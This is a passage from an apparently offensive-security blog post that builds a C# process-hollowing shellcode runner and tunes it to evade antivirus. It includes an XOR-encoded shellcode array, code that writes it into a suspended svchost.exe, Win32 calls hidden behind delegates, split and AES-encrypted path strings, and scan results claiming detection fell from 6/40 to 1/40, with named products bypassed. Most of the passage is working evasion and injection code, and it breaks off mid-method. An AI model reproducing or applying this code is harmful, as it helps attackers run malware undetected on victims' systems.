class="m">0x11</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x15</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x3f</span><span class="p">,</span> <span class="m">0x11</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x1e</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x17</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x11</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x3d</span><span class="p">,</span> <span class="m">0x16</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x09</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x19</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x09</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0xfe</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x91</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xbc</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0x25</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x7e</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0xe4</span><span class="p">,</span> <span class="m">0xfc</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x7c</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xb5</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x91</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0xde</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x9f</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xe9</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x9d</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xa0</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0xec</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0xbe</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0xc8</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x7d</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xb9</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0xb9</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x67</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0xa0</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span> <span class="p">};</span>
            <span class="c1">// XOR decode function, key is set to 'z'</span>
            <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">i</span> <span class="p">&lt;</span> <span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="p">++)</span>
            <span class="p">{</span>
                <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">=</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)(</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">^</span> <span class="p">(</span><span class="kt">byte</span><span class="p">)</span><span class="sc">'z'</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="nf">F4</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">addressOfEntryPoint</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="nf">F5</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
        <span class="p">}</span> 
</code></pre></div></div>

<p>For example, you can see that the first function call to <strong>CreateProcess</strong> has been changed to <strong>F1</strong> instead<em>.</em></p>

<p>Without obfuscation:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="kt">bool</span> <span class="n">res</span> <span class="p">=</span> <span class="nf">CreateProcess</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="s">"C:\\Windows\\System32\\svchost.exe"</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span>
                <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="m">0x4</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">null</span><span class="p">,</span> <span class="k">ref</span> <span class="n">si</span><span class="p">,</span> <span class="k">out</span> <span class="n">pi</span><span class="p">);</span> 
</code></pre></div></div>

<p>With obfuscation:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="kt">bool</span> <span class="n">res</span> <span class="p">=</span> <span class="nf">F1</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="s">"C:\\Windows\\System32\\svchost.exe"</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span>
                <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="m">0x4</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">null</span><span class="p">,</span> <span class="k">ref</span> <span class="n">si</span><span class="p">,</span> <span class="k">out</span> <span class="n">pi</span><span class="p">);</span> 
</code></pre></div></div>

<p>The functionality remains the same, but by using custom delegate functions to call the original Win32 API functions, the malicious behavior of the program is more challenging for antivirus to detect.</p>

<p>The results?</p>

<p><img src="/assets/images/custom-delegate-functions-results-659x1024.png" alt="custom-delegate-functions-results" /></p>

<p>Outstanding!</p>

<p>By obfuscating the Win32 API function calls using custom delegate functions, the detection rate dropped from 6/40 to only 1/40!</p>

<p>Better yet, all of this was achieved without the use of a third-party obfuscator.</p>

<p>This technique got me past Microsoft Defender, ESET NOD32, Acrabit, Alyac, Emsisoft, and G-Data.</p>

<p>Therefore, by employing the use of custom delegate functions in C#/.NET offensive tooling, you can dramatically decrease detection rates, even without using D/Invoke to obfuscate the DLL imports.</p>

<h2 id="flying-too-close-to-the-sun-️">Flying Too Close to the Sun ☀️</h2>

<p>At this point, I was nearly undetectable at scan-time.</p>

<p>However, I still needed to find a way to bypass the IKARUS antivirus software.</p>

<p>It occurred to me that if I could get a free trial version of IKARUS; I may be able to discover how it was detecting my shellcode runner.</p>

<p>Unfortunately, there is no free trial for the IKARUS software that is publicly available.</p>

<p>Therefore, I decided to take a shot in the dark and see if obfuscating the string storing the path to svchost.exe would evade IKARUS.</p>

<p>I first attempted to obfuscate the path string that is passed to <strong>CreateProcess</strong> by using string concatenation:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="c1">// Obfuscated parts of the path</span>
            <span class="kt">string</span> <span class="n">part1</span> <span class="p">=</span> <span class="s">"C:\\Wi"</span><span class="p">;</span>
            <span class="kt">string</span> <span class="n">part2</span> <span class="p">=</span> <span class="s">"ndo"</span><span class="p">;</span>
            <span class="kt">string</span> <span class="n">part3</span> <span class="p">=</span> <span class="s">"ws\\Sy"</span><span class="p">;</span>
            <span class="kt">string</span> <span class="n">part4</span> <span class="p">=</span> <span class="s">"stem"</span><span class="p">;</span>
            <span class="kt">string</span> <span class="n">part5</span> <span class="p">=</span> <span class="s">"32\\sv"</span><span class="p">;</span>
            <span class="kt">string</span> <span class="n">part6</span> <span class="p">=</span> <span class="s">"chost.exe"</span><span class="p">;</span>

            <span class="c1">// Concatenate and reconstruct the path at runtime</span>
            <span class="kt">string</span> <span class="n">path</span> <span class="p">=</span> <span class="s">$"</span><span class="p">{</span><span class="n">part1</span><span class="p">}{</span><span class="n">part2</span><span class="p">}{</span><span class="n">part3</span><span class="p">}{</span><span class="n">part4</span><span class="p">}{</span><span class="n">part5</span><span class="p">}{</span><span class="n">part6</span><span class="p">}</span><span class="s">"</span><span class="p">;</span>

            <span class="kt">bool</span> <span class="n">res</span> <span class="p">=</span> <span class="nf">F1</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span>
                <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="m">0x4</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">null</span><span class="p">,</span> <span class="k">ref</span> <span class="n">si</span><span class="p">,</span> <span class="k">out</span> <span class="n">pi</span><span class="p">);</span>
</code></pre></div></div>

<p>Here were the results:</p>

<p><img src="/assets/images/string-concat-results-677x1024.png" alt="string-concat-results" /></p>

<p>I was still being detected by IKARUS, so I decided to try encrypting the string using AES and decrypting it at runtime before passing it to <strong>CreateProcess</strong>.</p>

<p>I made a new external class named <strong>FilepathEncryptor.cs</strong> and created several public methods to:</p>

<ol>
  <li>Dynamically generate a random key and initialization vector</li>
  <li>Encrypt the string using the randomly generated key and IV</li>
  <li>Decrypt the string using the random key and IV</li>
</ol>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Security.Cryptography</span><span class="p">;</span>
<span class="k">namespace</span> <span class="nn">HollowGhostEncPath.Modules.Crypt</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">class</span> <span class="nc">FilepathEncryptor</span>
    <span class="p">{</span>
        <span class="k">public</span> <span class="k">static</span> <span class="kt">string</span> <span class="nf">GenerateRandomKey</span><span class="p">(</span><span class="kt">int</span> <span class="n">keySize</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="k">using</span> <span class="p">(</span><span class="n">RNGCryptoServiceProvider</span> <span class="n">rng</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">RNGCryptoServiceProvider</span><span class="p">())</span>
            <span class="p">{</span>
                <span class="kt">byte</span><span class="p">[]</span> <span class="n">keyBytes</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">keySize</span><span class="p">];</span>
                <span class="n">rng</span><span class="p">.</span><span class="nf">GetBytes</span><span class="p">(</span><span class="n">keyBytes</span><span class="p">);</span>
                <span class="k">return</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">ToBase64String</span><span class="p">(</span><span class="n">keyBytes</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="k">public</span> <span class="k">static</span> <span class="kt">string</span> <span class="nf">GenerateRandomIV</span><span class="p">()</span>
        <span class="p">{</span>
            <span class="k">using</span> <span class="p">(</span><span class="n">Aes</span> <span class="n">aesAlg</span> <span class="p">=</span> <span class="n">Aes</span><span class="p">.</span><span class="nf">Create</span><span class="p">())</span>
            <span class="p">{</span>
                <span class="n">aesAlg</span><span class="p">.</span><span class="nf">GenerateIV</span><span class="p">();</span>
                <span class="k">return</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">ToBase64String</span><span class="p">(</span><span class="n">aesAlg</span><span class="p">.</span><span class="n">IV</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="k">public</span> <span class="k">static</span> <span class="kt">string</span> <span class="nf">Encrypt</span><span class="p">(</span><span class="kt">string</span> <span class="n">plainText</span><span class="p">,</span> <span class="kt">string</span> <span class="n">key</span><span class="p">,</span> <span class="kt">string</span> <span class="n">iv</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="k">using</span> <span class="p">(</span><span class="n">Aes</span> <span class="n">aesAlg</span> <span class="p">=</span> <span class="n">Aes</span><span class="p">.</span><span class="nf">Create</span><span class="p">())</span>
            <span class="p">{</span>
                <span class="n">aesAlg</span><span class="p">.</span><span class="n">Key</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">key</span><span class="p">);</span>
                <span class="n">aesAlg</span><span class="p">.</span><span class="n">IV</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">iv</span><span class="p">);</span>
                <span class="n">ICryptoTransform</span> <span class="n">encryptor</span> <span class="p">=</span> <span class="n">aesAlg</span><span class="p">.</span><span class="nf">CreateEncryptor</span><span class="p">(</span><span class="n">aesAlg</span><span class="p">.</span><span class="n">Key</span><span class="p">,</span> <span class="n">aesAlg</span><span class="p">.</span><span class="n">IV</span><span class="p">);</span>
                <span class="k">using</span> <span class="p">(</span><span class="n">MemoryStream</span> <span class="n">msEncrypt</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">())</span>
                <span class="p">{</span>
                    <span class="k">using</span> <span class="p">(</span><span class="n">CryptoStream</span> <span class="n">csEncrypt</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">CryptoStream</span><span class="p">(</span><span class="n">msEncrypt</span><span class="p">,</span> <span class="n">encryptor</span><span class="p">,</span> <span class="n">CryptoStreamMode</span><span class="p">.</span><span class="n">Write</span><span class="p">))</span>
                    <span class="p">{</span>
                        <span class="k">using</span> <span class="p">(</span><span class="n">StreamWriter</span> <span class="n">swEncrypt</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">StreamWriter</span><span class="p">(</span><span class="n">csEncrypt</span><span class="p">))</span>
                        <span class="p">{</span>
                            <span class="n">swEncrypt</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">plainText</span><span class="p">);</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                    <span class="k">return</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">ToBase64String</span><span class="p">(</span><span class="n">msEncrypt</span><span class="p">.</span><span class="nf">ToArray</span><span class="p">());</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
        <span class="k">public</span> <span class="k">static</span> <span class="kt">string</span> <span class="nf">Decrypt</span><span class="p">(</span><span class="kt">string</span> <span class="n">cipherText</span><span class="p">,</span> <span class="kt">string</span> <span class="n">key</span><span class="p">,</span> <span class="kt">string</span> <span class="n">iv</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="k">using</span> <span class="p">(</span><span class="n">Aes</span> <span class="n">aesAlg</span> <span class="p">=</span> <span class="n">Aes</span><span class="p">.</span><span class="nf">Create</span><span class="p">())</span>
            <span class="p">{</span>
                <span class="n">aesAlg</span><span class="p">.</span><span class="n">Key</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">key</span><span class="p">);</span>
                <span class="n">aesAlg</span><span class="p">.</span><span class="n">IV</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">iv</span><span class="p">);</span>
                <span class="n">ICryptoTransform</span> <span class="n">decryptor</span> <span class="p">=</span> <span class="n">aesAlg</span><span class="p">.</span><span class="nf">CreateDecryptor</span><span class="p">(</span><span class="n">aesAlg</span><span class="p">.</span><span class="n">Key</span><span class="p">,</span> <span class="n">aesAlg</span><span class="p">.</span><span class="n">IV</span><span class="p">);</span>
                <span class="k">using</span> <span class="p">(</span><span class="n">MemoryStream</span> <span class="n">msDecrypt</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">(</span><span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">cipherText</span><span class="p">)))</span>
                <span class="p">{</span>
                    <span class="k">using</span> <span class="p">(</span><span class="n">CryptoStream</span> <span class="n">csDecrypt</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">CryptoStream</span><span class="p">(</span><span class="n">msDecrypt</span><span class="p">,</span> <span class="n">decryptor</span><span class="p">,</span> <span class="n">CryptoStreamMode</span><span class="p">.</span><span class="n">Read</span><span class="p">))</span>
                    <span class="p">{</span>
                        <span class="k">using</span> <span class="p">(</span><span class="n">StreamReader</span> <span class="n">srDecrypt</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">StreamReader</span><span class="p">(</span><span class="n">csDecrypt</span><span class="p">))</span>
                        <span class="p">{</span>
                            <span class="k">return</span> <span class="n">srDecrypt</span><span class="p">.</span><span class="nf">ReadToEnd</span><span class="p">();</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I then proceeded to implement this functionality within the <strong>Main</strong> method of <strong>Program.cs</strong>:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">private</span> <span class="k">static</span> <span class="kt">string</span> <span class="n">iv</span><span class="p">;</span>
        <span class="k">private</span> <span class="k">static</span> <span class="kt">string</span> <span class="n">encryptionKey</span><span class="p">;</span>
        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="c1">// Initialize delegate instances with the original DLL functions</span>
            <span class="n">F1</span> <span class="p">=</span> <span class="n">CreateProcess</span><span class="p">;</span>
            <span class="n">F2</span> <span class="p">=</span> <span class="n">ZwQueryInformationProcess</span><span class="p">;</span>
            <span class="n">F3</span> <span class="p">=</span> <span class="n">ReadProcessMemory</span><span class="p">;</span>
            <span class="n">F4</span> <span class="p">=</span> <span class="n">WriteProcessMemory</span><span class="p">;</span>
            <span class="n">F5</span> <span class="p">=</span> <span class="n">ResumeThread</span><span class="p">;</span>
            <span class="c1">// Generate a dynamic encryption key</span>
            <span class="n">encryptionKey</span> <span class="p">=</span> <span class="n">FilepathEncryptor</span><span class="p">.</span><span class="nf">GenerateRandomKey</span><span class="p">(</span><span class="m">32</span><span class="p">);</span> <span class="c1">// Use an appropriate key size</span>
